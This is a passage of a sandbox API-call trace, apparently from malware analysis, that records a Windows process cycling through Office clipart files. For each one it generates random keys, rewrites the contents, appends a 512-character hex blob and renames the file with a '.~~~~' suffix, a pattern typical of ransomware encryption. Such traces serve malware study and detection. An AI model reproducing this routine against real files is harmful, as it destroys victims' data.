	[0092.578] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffbb1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.578] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x44e6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x44e6, lpOverlapped=0x0) returned 1
	[0092.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.582] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.582] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.582] CloseHandle (hObject=0x12c) returned 1
	[0092.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.582] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.~~~~")) returned 1
	[0092.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.583] GetLastError () returned 0x0
	[0092.583] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.584] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.584] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.585] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21257479389) returned 1
	[0092.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0f43130, dwHighDateTime=0x1d60e1e)) 
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387fe8
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387fe8 | out: hHeap=0x300000) returned 1
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b670
	[0092.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.585] GetLastError () returned 0x0
	[0092.586] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.586] GetLastError () returned 0x0
	[0092.668] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff2fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.668] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0xd04, lpOverlapped=0x0) returned 1
	[0092.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.669] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.669] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.669] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.669] CloseHandle (hObject=0x12c) returned 1
	[0092.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.~~~~")) returned 1
	[0092.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.670] GetLastError () returned 0x0
	[0092.753] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.769] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.769] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.769] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21275897888) returned 1
	[0092.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa110c1b0, dwHighDateTime=0x1d60e1e)) 
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a26e8
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26e8 | out: hHeap=0x300000) returned 1
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38be28
	[0092.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.770] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.770] GetLastError () returned 0x0
	[0092.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.770] GetLastError () returned 0x0
	[0092.826] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffee202, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.826] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x11dfe, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x11dfe, lpOverlapped=0x0) returned 1
	[0092.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.828] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.828] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.828] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.828] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.828] CloseHandle (hObject=0x12c) returned 1
	[0092.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.829] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.~~~~")) returned 1
	[0092.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.830] GetLastError () returned 0x0
	[0092.830] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.831] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.831] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.831] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21282149868) returned 1
	[0092.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa11a4730, dwHighDateTime=0x1d60e1e)) 
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2608
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2608 | out: hHeap=0x300000) returned 1
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bcf8
	[0092.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.832] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.832] GetLastError () returned 0x0
	[0092.832] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.833] GetLastError () returned 0x0
	[0092.900] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffc97e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.900] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3682, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x3682, lpOverlapped=0x0) returned 1
	[0092.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.901] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.901] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.902] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.902] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.902] CloseHandle (hObject=0x12c) returned 1
	[0092.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.902] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.~~~~")) returned 1
	[0092.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0092.903] GetLastError () returned 0x0
	[0092.904] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.905] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0092.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0092.905] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21289552507) returned 1
	[0092.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa123ccb0, dwHighDateTime=0x1d60e1e)) 
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2598
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2598 | out: hHeap=0x300000) returned 1
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c120
	[0092.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.906] GetLastError () returned 0x0
	[0092.907] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.907] GetLastError () returned 0x0
	[0093.201] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff99d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.201] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x6630, lpOverlapped=0x0) returned 1
	[0093.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.202] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.202] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.202] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.202] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.203] CloseHandle (hObject=0x12c) returned 1
	[0093.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.~~~~")) returned 1
	[0093.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.204] GetLastError () returned 0x0
	[0093.205] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.206] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.206] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.207] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21319672278) returned 1
	[0093.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1536830, dwHighDateTime=0x1d60e1e)) 
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a24f0
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a24f0 | out: hHeap=0x300000) returned 1
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c250
	[0093.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.207] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.208] GetLastError () returned 0x0
	[0093.208] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.208] GetLastError () returned 0x0
